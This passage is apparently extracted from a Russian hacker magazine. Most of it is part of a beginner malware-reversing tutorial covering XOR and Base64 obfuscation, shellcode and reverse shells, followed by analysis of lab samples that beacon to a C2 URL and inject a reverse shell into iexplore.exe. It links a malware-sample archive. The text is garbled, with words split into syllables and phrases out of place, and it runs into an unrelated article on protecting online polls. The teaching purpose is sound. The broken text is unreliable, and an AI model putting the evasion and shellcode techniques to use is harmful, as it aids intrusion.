ним при ложе ниям или про явле ние сетевой активнос ти. Поэто му для скры тия
при сутс твия вре доно са в сис теме при меня ются раз личные тех ники и методы,
к  при меру  исполь зование  rootkits  или  bootkits,  которые  мы  рас смат ривали
в  .

эв ристи чес кие ана лиза торы

пе соч нице
по веден ческий ана лиза тор

прош лой статье
Дру гая  задача  сос тоит  в  том,  что бы  мак сималь но  усложнить  вирус ному

ана лити ку руч ной ана лиз образца мал вари, ког да он уже попал в анти вирус ‐
ную  лабора торию.  Это,  в  свою  оче редь,  поз волит  оття нуть  вре мя  до  того,
как сиг натуру мал вари добавят в анти вирус ные базы или будет выпуще на тул ‐
за для лечения инфекции.

Один из вари антов — шиф рование собс твен ного кода мал вари (англ. en‐
coding),  час то  так же  называ емое  .  «Запуты вать»  код  воз можно
на уров не алго рит ма, заложен ного во вре донос, исходни ка  (source code) и/
или  ассем блер ного  тек ста.  Для  соз дания  запутан ного  ассем блер ного  кода
(того, который мы видим в IDA Pro) могут при менять ся и спе циали зиро ван ные
ком пилято ры,  исполь зующие  неоче вид ные  или  недоку мен тирован ные  воз ‐
можнос ти. Отдель ная  пес ня —  класс  спе циаль ных  прог рамм,  выпол няющих
обфуска цию (обфуска торов). В качес тве при мера такого соф та для прог рамм
на плат форме  .NET  , для Java —  . Будет полез на
и  ста рая  доб рая  статья  Кри са  Кас пер ски  « ».
Вот   еще одна неп лохая статья с теорией. Под робный рас сказ про исполь ‐
зование  .  И  обя затель но  про читай  статью
«

» в одном из прош лых выпус ков нашего жур нала.

об фуска цией

при веду вот эту соф тину эту
Об фуска ция  и  ее  пре одо ление

тут
LLVM  в  качес тве  обфуска тора

Учим ся рас позна вать полимор физм и обфуска цию кода на при мере извес ‐
тно го вируса

Для тех же, кому лень раз бирать ся в пре муд ростях обфуска торов и писать
свой  запутан ный  код,  есть  готовые  прог раммы,  которые  работа ют  по  прин ‐
ципу «заг рузил — выб рал опции — зашиф ровал». Най ти их мож но в кла дов ке
леген дарно го  . Одна ко пом ни, что все эти тул зы дав но уже изу чены
сов ремен ными анти виру сами и вне сены в сиг натур ные базы,  так что халявы
не будет. :)

VX Heaven

При  шиф ровании  кода  мал вари  вирусо писа тель  выбира ет  кон крет ный
метод,  который  наилуч шим  обра зом  отве чает  его  целям.  Иног да  могут
исполь зовать ся  прос тые  шиф ры,  к  при меру  логичес кие  побито вые  опе ‐
рации —  , реали зующие битовые сдви ги в машин ных инс трук циях,
или  же  слож ные  алго рит мы,  к  при меру  ,  изна чаль но  раз работан ный
для кодиро вания сооб щений элек трон ной поч ты.

OR или XOR
Base 64

Час то  исполь зуемый  шифр,  базиру ющий ся  на  опе рации  XOR,  —
это  самый  прос той шифр,  который  весь ма  похож  на  всем  извес тный 

.  XOR,  или  исклю чающее OR, —  логичес кая,  или,  как  еще  называ ют,
битовая,  опе рация,  которая  может  быть  исполь зована  для  изме нения  ори ‐
гиналь ного  поряд ка  битов  в  ассем блер ном  коде.  Опе рация  XOR  для  шиф ‐
рования  исполь зует  зна чение  ста тичес кого  бай та.  Каж дый  байт  тек ста  пос ‐
ледова тель но изме няет ся. Для тех, кто не понял, хорошим под спорь ем будет
вот  , там наг лядно показы вают, как текст шиф рует ся, при чем пра ‐
вило сдви га букв мож но выб рать самому.

шифр
Цезаря

этот при мер

Су щес тву ет еще нес коль ко прос тых алго рит мов шиф рования, осно ван ных
на исполь зовании рас смот ренных инс трук ций:

Ал горит мы ADD и SUB поз воля ют про изво дить кодиро вание опе раци ями
ADD и SUB для отдель ных бай тов бло ка ана логич но опе рации XOR. ADD
и SUB — неревер сивные опе рации, поэто му их необ ходимо исполь зовать
сов мес тно, то есть одну для шиф рования, а дру гую для рас шифров ки.

•

ROR‐ и ROL‐инс трук ции поз воля ют перевер нуть нес коль ко битов в бай те
спра ва или сле ва. Точ но так же, как ADD и SUB, они дол жны исполь зовать ‐
ся вмес те, пос коль ку они  , то есть выпол няют ся толь ко в одну
сто рону.

•

не обра тимы

ROT — это ори гиналь ный шифр Цезаря. Обыч но исполь зует ся латин ский
алфа вит  (A–Z  и  a–z),  начиная  с  любой  бук вы,  или  94  печат ных  сим вола
в стан дар тной кодиров ке сим волов  .

•

ASCII
Мно гобай товые (Multibyte Instead) пре обра зова ния зак люча ются в том, что
заменя ется не один байт, дан ный алго ритм поз воля ет исполь зовать боль ‐
ше  клю чевых  зна чений  (к  при меру,  час то  берут ся  цепоч ки  4  или  8  байт
дли ной). В этом слу чае ради удобс тва при меня ют опе рации XOR для каж ‐
дого бло ка.

•

Чуть более под робно о при емах обфуска ции, пос тро енных на исполь зовании
прос тых опе раций, мож но почитать в статье  .Malware Monday: Obfuscation

Спе циали зиро ван ный инс тру мен тарий
IDA  Pro  име ет  очень  полез ный  пла гин  под  наз вани ем  ,  так же
иду щий  в  пакете  для  раз работ чиков  .  Пла гин  ищет  в  теле
дизас сем бли рован ной  прог раммы  спе цифи чес кие  кон стан ты,  свя зан ные
с крип тогра фичес кими алго рит мами. И нуж но ска зать, хорошо справ ляет ‐
ся со сво ей задачей, так как боль шинс тво   дав но
извес тны и изу чены и исполь зуют сиг натур ные эле мен ты, по которым мож ‐
но вычис лить алго ритм.

• FindCrypt 2
IDA  Pro  SDK

ал горит мов шиф рования

, он же прос то KANAL, тоже весь ма полез ный инс тру мент,
который исполь зует те же прин ципы, что и пла гин FindCrypt 2 для  IDA Pro.
Одна ко Krypto ANALyzer пред назна чен для PE‐ана лиза тора, в нашем слу ‐
чае  это  неуто мимый  .  Помимо  кон стант  и  алго рит мов  шиф рования,
Krypto  ANALyzer  рас позна ет  так же  таб лицы  Base 64  и  свя зан ные  с  шиф ‐
ровани ем фун кции из  .

• Krypto ANALyzer

PEiD

таб лицы импорта
  —  один  из  инс тру мен тов,  который  поз воля ет  искать

приз наки  энтро пии,  в  нашем  слу чае  шиф рования  в  PE‐фай лах.  Он
выручит, ког да пер вые два со сво ей задачей не спра вились, но у нас есть
подоз рение,  что  крип тогра фия  в  коде  точ но  исполь зует ся.  Дос таточ но
прос то заг рузить дан ный пла гин в  IDA Pro, помес тив  ida‐ent.plw в каталог
IDA, где лежат все пла гины.

• IDA  Entropy  Plugin

INFO

Шиф рование  кода  malware  с  целью  обфуска ции
во  мно гом  зависит  от  ком петен ции  вирусо писа ‐
теля.  Для  шиф рования  могут  исполь зовать ся
в  самом  прос том  слу чае  логичес кие  побито вые
опе рации,  нап ример  ,  реали зующие
битовые  сдви ги  в  машин ных  инс трук циях,
или слож ные алго рит мы, к при меру  , изна ‐
чаль но  раз работан ный  для  кодиро вания  сооб ‐
щений элек трон ной поч ты.

OR  или  XOR

Base 64

ВНЕДРЕНИЕ SHELLCODE, ИЛИ КАК ПОЛУЧИТЬ УДАЛЕННЫЙ
ДОСТУП К КОМАНДНОМУ ШЕЛЛУ
Те оре тичес кая часть

  (англ.  shellcode) — это  часть  кода,  встро енно го в мал варь и поз ‐
воля юще го  пос ле  инфи циро вания  целевой  сис темы  жер твы  получить 

,  нап ример  /bin/bash  в  UNIX‐подоб ных  ОС,  command.‐
com в чер ноэк ранной MS‐DOS и cmd.exe в сов ремен ных опе раци онных сис ‐
темах  Microsoft  Windows.  Очень  час то  шелл‐код  исполь зует ся  как  полез ная
наг рузка  ,  но  это  выходит  за рам ки нашего матери ала. Зачем все
это нуж но? Как ты понима ешь, мало прос то инфи циро вать сис тему, про экс ‐
плу ати ровать уяз вимость или положить какую‐нибудь сис темную служ бу. Все
эти дей ствия хакеров во мно гих слу чаях нацеле ны на получе ние админ ско го
дос тупа  к  заражен ной  машине.  Так  что  мал варь —  это  все го  лишь  спо соб
попасть  на  машину  и  получить  shell,  то  есть  управле ние.  А  это  уже  пря мой
путь к  , соз данию  , прев ‐
раща ющих целевую сис тему в  , или прос то выпол нению иных дес трук ‐
тивных фун кций на взло ман ной машине.

Шелл‐код
код

коман дной  обо лоч ки

экс пло ита

сли ву кон фиден циаль ной информа ции бот нет‐сетей
зом би

Шелл‐код обыч но внед ряет ся в память экс плу ати руемой прог раммы, пос ‐
ле чего на него переда ется управле ние при помощи исполь зования прог рам ‐
мных оши бок, таких как   или  ,
или  исполь зования  атак фор матной  стро ки. Пока  не  забыл:  хорошая 

  на  эту  тему.  Управле ние  шелл‐коду  переда ется  переза писью 
 в сте ке адре сом внед ренно го шелл‐кода, переза писью адре ‐

сов вызыва емых фун кций или изме нени ем обра бот чиков пре рыва ний. Кста ти,
не  при поми наешь  ли  чего  из  прош лого  уро ка  про  инжекты  в  про цес сы?  :)
Резуль татом все го это го и будет выпол нение шелл‐кода, который откры вает
коман дную стро ку для исполь зования взлом щиком.

пе репол нение сте ка пе репол нение буфера в куче
статья

на  Хаб ре ад ‐
реса воз вра та

Для тех, кто готов пог ружать ся в деб ри шелл‐кода и про бовать свои силы
в  раз работ ке,  отличная  статья  из  нашего  жур нала  «

».
Мно гораз рядные

шелл‐коды. Пишем Ring 0‐shellcode под Windows x64
При  экс плу ата ции  уда лен ной  уяз вимос ти  (то  есть  экс пло ита)  шелл‐код

может  откры вать  на  уяз вимом  компь юте ре  заранее  задан ный  порт  TCP
для  даль нейше го  уда лен ного  дос тупа  к  коман дной  обо лоч ке.  Такой  код
называ ется    (англ. port binding shellcode). Если же
шелл‐код  под клю чает ся  к  пор ту  компь юте ра  ата кующе го  (с  целью  обхо да
бран дма уэра  или  про сачи вания  через  NAT),  то  такой  код  называ ется 

 (reverse shell shellcode).

при вязы вающим к пор ту

об -

ратной обо лоч кой

Ес ли  ты  хочешь  побало вать ся  исполь зовани ем  экс пло итов,  дорога  тебе
к  , одна ко это выходит за рам ки нашей статьи, поэто му я
при веду  лишь  нес коль ко  ссы лок  на  инте рес ные  статьи,  которые  ты можешь
изу чить самос тоятель но.

Metasploit Framework

• Вве дение в Metasploit Framework
• Инъ екция по‐чер ному. Обхо дим анти виру сы при помощи Shellter
• Фаб рика спло итов: учим ся писать экс пло иты для Metasploit Framework
• Ос новы написа ния Win‐шелл‐кода

Су щес тву ют два спо соба запус ка шелл‐кода в память на исполне ние:
Ме тод  position‐independent  code  (PIC,  позици онно  незави симый  код)  —
это  код,  который  исполь зует  жес ткую  при вяз ку  бинар ного  кода  (то  есть
кода, который выпол нится в памяти) к опре делен ному адре су или дан ным.
Шелл‐код — это по сути PIC. Почему жес ткая при вяз ка так важ на? Шелл
не  может  знать,  в  каком  имен но  мес те  опе ратив ной  памяти  будет  рас ‐
полагать ся,  пос коль ку  во  вре мя  выпол нения  раз личных  вер сий  ском про ‐
мети рован ной  прог раммы  или  мал вари  они  могут  заг рузить  шелл‐код
в раз ные ячей ки памяти.

•

Ме тод Identifying Execution Location («Опре деляй свое мес то выпол нения»)
зак люча ется в том, что шелл‐код дол жен разыме новать базовый ука затель
при  дос тупе  к  дан ным  в  позици онно  незави симой  струк туре  памяти.
Добав ление (ADD) или вычита ние (Reduce) зна чений от базово го ука зате ‐
ля поз воля ет безопас но получить дос туп к дан ным, которые вхо дят в сос ‐
тав шелл‐кода.

•

Об наруже ние шелл‑кода на взло ман ной машине
Ха керы, дорожа щие сво ей сво бодой и репута цией, пишут шелл‐коды, исполь ‐
зуя тех ники, скры вающие их ата ку. Так, типич ная 

  (англ.  IDS)  обыч но  прос матри вает  весь  вхо дящий  сетевой  тра фик
в  поис ках  струк туры,  спе цифич ной  для  шелл‐кода.  Если  IDS  находит  такую
струк туру, то пакет, содер жащий эту сиг натуру, унич тожа ется до того, как он
еще дос тигнет сво ей цели. Одна ко сла бая позиция IDS сос тоит в дан ном слу ‐
чае  в  том,  что  если  тра фик  закоди рован,  то  рас познать  его  не  удас тся.
Теперь ты улав лива ешь, почему так цен но шиф рование?

сис тема обна руже ния втор ‐
жений

WARNING

Будь  осто рожен  при  ска чива нии  и  рас паков ке
архи вов с образца ми malware на компь ютер. Все
иссле дова ния  выпол няй  толь ко  в  изо лиро ван ной
вир туаль ной  сре де!  Не  выпол няй  дей ствий,
в  которых  на  100%  не  уве рен!  И  не  забывай
делать регуляр ные snapshot сис темы для быс тро ‐
го отка та в слу чае полом ки.

АНАЛИЗ СЕМПЛА MALWARE01
Инс тру мен ты:
1. IDA Pro (with plugins).
2. OllyDbg.
3. PEiD (with Krypto ANALyzer).

Ну что же, нач нем! Пер вым делом откры ваем PEiD и гру зим туда наш семпл.
Все как и ожи далось, никаких сюр при зов. Одна ко мы пом ним, что име ем дело
с крип тогра фией в коде мал вари, поэто му поп робу ем запус тить пла гин Krypto
ANALyzer  (дол жен  быть  пред варитель но  под гру жен  в  PEiD).  И  вот  что  мы
видим: сиг натуры обна руже ны.

Ре зуль тат ана лиза фай ла в прог рамме PEiD

Идем даль ше. Откры ваем IDA Pro и заг ружа ем туда семпл, минуя мно жес тво
окон  и  мало информа тив ных  све дений,  обра щаем  вни мание  на  таб лицу
ресур сов… Да, и здесь тоже нет ничего бро сающе гося в гла за.

Отоб ражение окна String в IDA Pro

Быть может, попыта ем счастья в поис ке сетевой активнос ти? Хм… Запус каем
Process Explorer, далее выделя ем про цесс, запущен ный нашим вре доно сом,
перехо дим  в  «Свой ства»,  жмем  вклад ку  Strings  и  парал лель но  запус каем
сетевую аку лу Wireshark, в окне ана лиза пакетов мож но обна ружить GET‐зап ‐
рос на веб‐ресурс  . Дан ные на вклад ‐
ке Strings ути литы Process Explorer и выдер нутые из пакета Wireshark сов пали.

http://www.practicalmalwareanalysis.com

Срав нение дан ных String в Process Explorer и Wireshark

Вер немся  к  дизас сем бле ру  IDA  Pro.  На  гра фичес кой  диаг рамме  замеча ем
любопыт ные  стро ки:  под прог рамма  @0x00401300  заг ружа ет  некий  ресурс
в дво ичном виде и при меня ет опе рацию XOR для некото рого зна чения  .
На сле дующем скрин шоте это весь ма явно замет но.

';'

Дан ные из IDA Pro

Ни же  скрин шот  окна  из  IDA  Pro,  где  жел тым  под све чены  инс трук ции  шиф ‐
рования с помощью опе рации XOR.

Текст кода с инс трук циями шиф рования с помощью опе рации XOR

И  у  нас  воз ника ет  законо мер ный  воп рос:  какой  ключ  (шифр)  исполь зует ся
для кодиро вания и что кон крет но он кодиру ет? Вспо миная то, что мы наш ли
рань ше,  мож но  сде лать  вывод,  что  ключ    приз ван  декоди ровать  стро ку,
содер жащую URL  .

';'
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РЕВЕРСИНГ
МАЛВАРИ
ДЛЯ НАЧИНАЮЩИХ

ЧАСТЬ 4: ВНЕДРЕНИЕ SHELLCODE
И ШИФРОВАНИЕ MALWARE‐КОДА

MALWARE  НАЧАЛО СТАТЬИ←

Итак, мы опре дели ли, какой алго ритм шиф рования исполь зует ся и какие дан ‐
ные он шиф рует. Пора под клю чать пла гины,  которые помогут нам в декоди ‐
рова нии.  Мы  будем  исполь зовать  инс тру мен ты  поис ка  сиг натур  FindCrypt 2,
Krypto  ANALyzer  и  IDA  Entropy  Plugin,  что бы  опре делить  дру гие  механиз мы
кодиро вания.

Ок но с резуль татами пар синга сем пла в Krypto ANALyzer

KANAL  plugin  обна ружил  четыре  адре са,  исполь зующих  сим волы  из  стро ки
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 0123456789+/.
Как  дума ешь,  на  что  это  похоже? Да‐да, мой друг,  ты  пра виль но  сме каешь,
что  этот  набор  сим волов  пред став ляет  собой  алфа вит,  из  которо го  потом
дела ются перес танов ки. А что же с сетевым тра фиком? Для его кодиро вания
исполь зует ся  алго ритм  Base 64.  Ниже  пред став лен  скрин шот  из  отладчи ка
OllyDbg, иллюс три рующий закоди рован ные стро ки.

За коди рован ные стро ки Base 64 в OllyDbg

А вот скрин шот все из того же отладчи ка, содер жащий инс трук цию, которая
отве чает за сам про цесс кодиро вания.

Где‐то в  коде есть фун кция, отве чающая за декоди рова ние информа ции
по алго рит му Base 64, и находит ся она по адре су 0x004010B1.

Фун кция, отве чающая за декоди рова ние информа ции по алго рит му
Base 64

Пос мотрим этот код на диаг рамме из IDA Pro, жел тым под све чены клю чевые
харак терис тики  кодиро вания,  а  имен но: мак сималь ная  дли на  сооб щения —
12 сим волов. В опи сании алго рит ма мак сималь ная дли на в Base 64 сос тавля ‐
ет 16 байт.

Прос мотр кода в IDA Pro

А  вот  тут мы  и  под ходим  к  глав ному  воп росу:  что же мал варь  дела ет  пос ле
сво его  запус ка?  Код  мал вари  ска ниру ет  имя  компь юте ра,  на  котором  он
запус тился,  шиф рует  его  и  посыла ет  на  веб‐ресурс  (мак симум  12  байт)

  каж дые  30  секунд,  пока  не  получит
стро ку со зна чени ем 0x6F в качес тве пер вого сим вола в отве те. Так ска зать,
мини‐реали зация  , то есть управля юще го сер вера, посыла юще го коман ‐
ды, и заражен ной машины, получа ющей и исполня ющей эти коман ды.

http://www.practicalmalwareanalysis.com
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АНАЛИЗ СЕМПЛА MALWARE02
Инс тру мен ты:
1. IDA Pro.
2. OllyDbg.

Наш  семпл  будет  содер жать  шелл‐код,  который  поз волит  пос ле  запус ка
на  заражен ной машине  получить  уда лен ное  управле ние  по  TCP/IP  и  дос туп
к  коман дной  обо лоч ке ОС.  Ну,  поеха ли!  Гру зим файл  в  IDA  Pro  и  в  стро ках
кода видим, что некая фун кция в коде вызыва ется, что бы соз дать новый про ‐
цесс, а затем   (внед ряет) в него необ ходимый для получе ния уда лен ‐
ного дос тупа шелл‐код.

ин жектит

Ок но IDA Pro c инс трук циями по соз данию нового про цес са

Пе рехо дим  к  OllyDbg,  что бы  уви деть  аргу мен ты,  переда ваемые  в  фун кцию
соз дания про цес са GetProcessID (см. 0x4013DE). Мы можем уста новить 

 на мес те этой инс трук ции. На сле дующем скрин шоте мы видим, что
путь  к  запус ку  iexplore.exe  переда ется  в  фун кцию,  а  она,  в  свою  оче редь,
исполь зует  его  для  реали зации  CreateProcess,  то  есть  соз дания  про цес са,
в который внед ряет ся шелл‐код.

точ ку
оста нова

Ок но OllyDbg c точ кой оста нова на 0x4013DE

Это  вер ное  нап равле ние,  про дол жаем  копать  в  эту  сто рону.  Что бы  най ти
шелл‐код, я бы сна чала поп робовал поис кать вызов фун кции, ответс твен ной
за  внед рение  шелл‐кода  в  уда лен ный  про цесс.  Поиск  WriteProcessMemory
будет весь ма хорошим нап равле нием для это го.

Ок но IDA Pro c фун кци ей WriteProcessMemory

Как видим из скрин шота, по адре су 0x00401230 вызыва ется фун кция с аргу ‐
мен том lpbuffer, который переда ется вмес те с такими парамет рами, как раз ‐
мер буфера и  иден тифика тор  про цес са  (PID). Нет рудно догадать ся,  что  эта
фун кция отве чает за откры тие дес крип тора уда лен ного про цес са и в конеч ‐
ном  сче те  поз воля ет  записать  в  него  какие‐то  дан ные.  Что бы  разоб рать ся
с этим, мы прос то дол жны прос ледить, кто выз вал эту фун кцию, и таким обра ‐
зом выяс нить, где находит ся шелл‐код.

Шелл‐код, рас положен ный по адре су 0x407030

Идем  даль ше…  Так‐так‐так,  вот,  кажет ся,  мы  и  наш ли  шелл‐код  по  адре су
@0x407030. Смот рим на него (скрин шот ниже), а затем нажима ем кла вишу C,
что бы пре обра зовать дан ные в  .байт‐код

Со дер жимое шелл‐кода пос ле пре обра зова ния в байт‐код в IDA Pro

Гля дя на най ден ный шелл‐код на сле дующем скрин шоте из дизас сем бле ра,
мы видим, что автор мал вари исполь зует трюк с вызовом, как это было опи ‐
сано  чуть  ранее,  что бы  получить  адрес  шелл‐кода.  Ана лизи руя  коды,  мы
можем пред положить, что шелл‐код, начиная с адре са 0x407048, декоди рует ‐
ся с помощью опе рации XOR с 0xE7.

Шелл‐код исполь зует вызов инс трук ций и пре обра зова ния XOR

Для  ана лиза  шелл‐кода  мы  можем  извлечь  его  из  про цес са  и  запус тить,
исполь зуя sctest.

Для  это го  на  фун кции  WriteProcessMemory  ста вим  пер вый  брейк‐пой нт.
До того как этот код будет записан в уда лен ный про цесс, мы меня ем пер вый
байт шелл‐кода со зна чения 0x407030 на дру гое зна чение 0xCC (наша точ ка
оста нова).  Запус каем  под  отладчи ком  iexplore.exe,  пос ле  его  запус ка  сра ‐
бота ет точ ка оста нова, и шелл‐код не будет внед рен в про цесс.

При ана лизе шелл‐кода мы встре тим фун кции,  которые отве чают  за руч ‐
ное  импорти рова ние  некой  сле дующей  фун кции.  Ты  можешь  пос тавить
брейк‐пой нт  на  CALL‐инс трук ции  в  шелл‐коде,  что бы  отсле живать,  где  (по
какому адре су) в памяти он находит ся.

Прос мотр импорта в OllyDbg

Те перь мы ста вим брейк‐пой нт @ при ини циации уда лен ной свя зи с парамет ‐
ром SockAddr, который переда ется шелл‐коду, то есть, гру бо говоря, переда ‐
ется IP‐адрес машины, которую нуж но под цепить. Ниже на скрин шоте показа ‐
ны  пре обра зова ния  машин ных  дан ных  в  понят ные  челове ку  парамет ры  (IP‐
адрес и TCP‐порт).

Струк тура SockAddr в окне OllyDbg

Пре обра зова ние Hex to IP Address

В ито ге мы видим, что reverse shell (cmd.exe) под клю чает ся на инфи циро ван ‐
ной  машине  по  адре су  192.168.200.2:13330.  Шелл‐код  соз дает  про цесс
коман дной обо лоч ки CreateProcessA пос ле под клю чения к уда лен ному IP.

А  вот  так  выг лядит  тер минал  Linux,  с  которо го  мы  ата кова ли  уда лен ную
машину.  В  выводе  тер минала  мы  видим  получе ние  приг лашения  cmd.exe
на инфи циро ван ной машине с адре сом в сети 192.168.200.2:13330.

Вы вод тер минала Linux пос ле экс плу ата ции мал вари на машине жер твы

ЗАКЛЮЧЕНИЕ
Вот и прош ли мы вмес те с  тобой, мой друг,  тер нистый путь по деб рям mal‐
ware‐кода. Ты молодец, если дочитал эту статью до кон ца, и очень крут, если
теперь смо жешь пов торить все лабора тор ные работы, не под гля дывая. Наш
цикл  ста тей  по  ревер сингу  для  начина ющих  на  этом  закан чива ется.  Безус ‐
ловно, мы рас смот рели толь ко самые базовые и клю чевые аспекты ана лиза
мал вари, и оста лось очень мно го тем, о которых сто ило бы рас ска зать. Мож ‐
но про дол жать эту тему до бес конеч ности и, навер ное, написать даже целую
кни гу. Наде юсь, тебе было инте рес но, ты узнал хотя бы что‐то новое для себя
и  теперь  пред став ляешь,  что  такое  работа  вирус ного  ана лити ка.  Если  есть
воп росы, жалобы или пред ложения — сме ло пиши в ком менты :).

WWW

Ис поль зован ные  в  статье  сем плы  (пароль 
)

mal‐
ware

Всем уда чи в иссле дова ниях!
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https://msdn.microsoft.com/ru-ru/library/5557y8b4.aspx
https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%B9%D1%82-%D0%BA%D0%BE%D0%B4
https://xakep.ru/wp-content/uploads/2017/05/124787/malware_samples.7z
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КОДИНГ

Соз дать опрос на сай те — задача пус тяковая. На стра ницах
нашего  жур нала  мы  неод нократ но  раз бирали  прак тичес кие
кей сы  решений.  А  вот  как  убе речь ся  от  нак рутки?  Это  уже
сов сем  дру гая  исто рия,  зас лужива ющая  отдель ного  раз ‐
говора. Методов защиты немало, но какие из них наибо лее
эффектив ны?  Кста ти,  даже  если  ты  не  инте ресу ешь ся  воп ‐
росами защиты онлайн‐голосо ваний, из этой статьи ты узна ‐
ешь, как тебя забани ли на ано ним ном форуме и почему твой
любимый пор носайт  про дол жает  учи тывать  твои  вку сы  нес ‐
мотря  на  то,  что  ты  чис тишь  куки  или  исполь зуешь  режим
инкогни то бра узе ра :).

ИДЕАЛЬНОЙ ЗАЩИТЫ НЕ БЫВАЕТ?
Спе шу огор чить: не пытай ся читать статью по диаго нали или с кон ца, наде ясь
уви деть  наибо лее  прод винутый  и  уни вер саль ный  спо соб  защиты.  Сереб ‐
ряных  пуль  не  сущес тву ет!  Есть  ряд  мер,  помога ющих  пре дот вра тить  нак ‐
рутку, но про фес сиона лу не сос тавит тру да их обой ти.

Воз ника ет  резон ный  воп рос:  а  зачем  тог да  вооб ще  защищать ся?  Ответ
не менее прост: про фес сиона лов мало и не все они спе шат зафей лить твой
опрос. В пер вую оче редь сто ит бороть ся с вре дите лями сред него уров ня —
поль зовате лями, обла дающи ми неболь шой тех ничес кой под готов кой. Имен ‐
но они будут активно тес тировать защиту тво его опро са в надеж де нак рутить
пару‐трой ку сотен голосов.

Ко личес тво методов борь бы с нак рутка ми огра ничи вает ся лишь фан тази ‐
ей раз работ чика. Они дают раз ный про цент защиты и наибо лее эффектив ны
в сов мес тном при мене нии. Для более объ ективно го обзо ра я отдель но опи ‐
сал минусы каж дого из пред став ленных решений. Все при веден ные спо собы
защиты  не  явля ются  маги ей,  поэто му  без  осо бого  тру да  реали зуют ся
на  любом  сер верном  язы ке  прог рамми рова ния.  Мне  по  душе  JavaScript
на сто роне сер вера, поэто му все биб лиоте ки при вожу с акцентом на Node.js.
Для  PHP,  Ruby,  ASP.NET  есть  аль тер натив ные  решения,  которые  гуг лятся
без осо бых проб лем.

ДЕЛАЕМ СТАВКУ НА КЕШ
Да вай нем ного отвле чем ся от прог рамми рова ния и вспом ним ста рый доб рый
про токол HTTP. Не ста ну выливать на тебя кубомет ры инфы из спе цифи кации,
а поп рошу лишь нем ного  .вспом нить теорию кеширо вания

Бра узер  пос тоян но  кеширу ет  переда ваемые  по  про токо лу  HTTP  дан ные,
с целью сэконо мить тра фик, а заод но и вре мя, необ ходимое на фор мирова ‐
ние стра ницы. Кар тинки, сце нарии пос ле пер вой заг рузки будут закеши рова ‐
ны, и при пов торном посеще нии сай та есть все шан сы,  что  кли енту не при ‐
дет ся заново выкачи вать тон ну JS‐кода, вагон сти лей и кар тинок.

Хо рошо, о необ ходимос ти кеширо вания вспом нили, но как оно реали зует ‐
ся?  Как  бра узер  понима ет,  что  закеши рован ный  ресурс  не  изме нил ся
с момен та пос ледней заг рузки? В этом ему помога ет веб‐сер вер. Пос ледний

,  по  которым  бра узер
и ори енти рует ся.
до бав ляет  в  HTTP-отве ты  спе циаль ные  заголов ки

Про токол  HTTP  опре деля ет  нес коль ко  заголов ков  для  кеширо вания
на кли енте:  .
Под робней о них ты можешь про читать в спе цифи кации, а нас сей час инте ‐
ресу ет лишь  .

Last-Modified/If-Modified-Since, Cache-control, Expired и ETag

ETag

Прин цип  дей ствия  заголов ка  ETag  прост  как  три  копей ки.  Для  переда ‐
ваемых кли енту ресур сов мы про сим сер вер помечать эти дан ные уни каль ной
мет кой  (ETag).  Каж дая  такая  мет ка  —  спе циаль ным  обра зом  рас счи тан ная
уни каль ная кон троль ная сум ма. Поп росту говоря — хеш.

Бра узер  запом нит  соот ветс твие  ETag  адре су  ресур са  и  при  сле дующем
обра щении вста вит в зап рос заголо вок:  If‐None‐Match:  "хеш". Получив такой
зап рос, сер вер выпол нит про вер ку, и если ETag для зап рашива емо го ресур са
не  изме нил ся,  то  отпра вит  бра узе ру  ответ  с  кодом  304  (Не  изме нен).
Для бра узе ра это будет озна чать, что зап рашива емый ресурс не изме нил ся
и мож но дос тавить его из кеша.

Это все замеча тель но, но как оно поможет в нашей проб леме? ETag пре ‐
дос тавля ет  допол нитель ную  воз можность  отсле живать  уни каль ных  посети ‐
телей.  Дос таточ но  акти виро вать  соот ветс тву ющую  опцию  для  веб‐сер вера,
и бра узер поль зовате ля будет сам себя выдавать при отправ ке ETag.

Ус танов ка ETag акти виру ется либо на уров не веб‐сер вера (Apache, nginx,
lighttpd),  либо самос тоятель но при фор мирова нии HTTP‐отве та. Пов торюсь,
ETag — это прос то допол нитель ный заголо вок в HTTP‐отве те. Для Node.js ты
можешь  вос поль зовать ся  .  Пос ле  его  под клю чения
фор мирова ние ETag све дет ся к вызову

од ноимен ным  модулем

res.setHeader("ETag", etag(body));

Ми нусы
Как  таковые  отсутс тву ют,  но  это  не  озна чает,  что  ETag  дает  стоп роцен тную
защиту  в  опре деле нии  уни каль ных  поль зовате лей.  Обой ти  его  лег ко:  под ‐
нима ем  локаль ный  прок сик  и  нас тра иваем  на  очис тку  отве тов/зап росов
от неради вого заголов ка.

Вер дикт
Внед рять однознач но сто ит. От кре атив ного умни ка не спа сет, но любите ли
будут удив лять ся и гадать, как этот трюк работа ет.

Как реали зовать
Про ще  все го  самос тоятель но.  Для  любите лей  сер верно го  JavaScript  есть
прос тей ший  модуль  etag  (упо мянул  выше).  Фанатам  PHP  рекомен дую 

.
пос ‐

мотреть докумен тацию по фун кции http_cache_etag

Смот рим ETag через инс тру мен ты раз работ чика

КАПЧИ, HONEYPOT, ТОКЕНЫ, IP
Од нажды  какой‐то  сооб разитель ный  малый  пред ложил  защищать  фор мы
от  авто мати чес кой  отправ ки  пред варитель ным  вво дом  цифр  или  иных  зна ‐
чений  с  кар тинок.  Идея  прос та,  но  дей ствен на:  рас познать  сим волы  с  кар ‐
тинки тех ничес ки проб лематич но и дорого, поэто му хочешь или нет, а при дет ‐
ся поручить эту работу челове ку. Чем изощ ренней на кап че изоб ражены сим ‐
волы, тем слож ней их обра ботать в авто мати чес ком режиме. Глав ное — соб ‐
люсти баланс и не усложнять кар тинки до такой сте пени, что их ста нет труд но
про честь и обыч ному поль зовате лю.

Са ма по себе кап ча не изба вит тебя от уче та поль зовате лей (регис тра ция/
при вяз ка  к  акка унту  соц сети  пот ребу ется),  но  надеж но  прик роет  от  армии
ботов,  жаж дущих  нак рутить  ста тис тику.  Сущес тву ет  мно жес тво  реали заций
капч:  поиск  на  GitHub  по  сло ву  captcha  выдаст  тебе  мил лион  резуль татов.
Но лич но я бы посове товал про верен ный вари ант от Google —  .
Осо бен ность  ее  в  инно ваци онном  под ходе  —  поль зовате лю  не  тре бует ся
вво дить  сим волы  с  кар тинки  (

).

reCAPTCHA 2

ага,  зато  у  некото рых  юзе ров  ско ро  будут
начинать ся при пад ки при виде фра зы «най дите вит рины». — Прим. ред.

Вмес те  с  кап чей  неп лохо  раз местить  допол нитель ные  кап каны  для  без ‐
моз глых роботов. Хорошей прак тикой дав но слу жит тех ника  . Смысл
прост — 
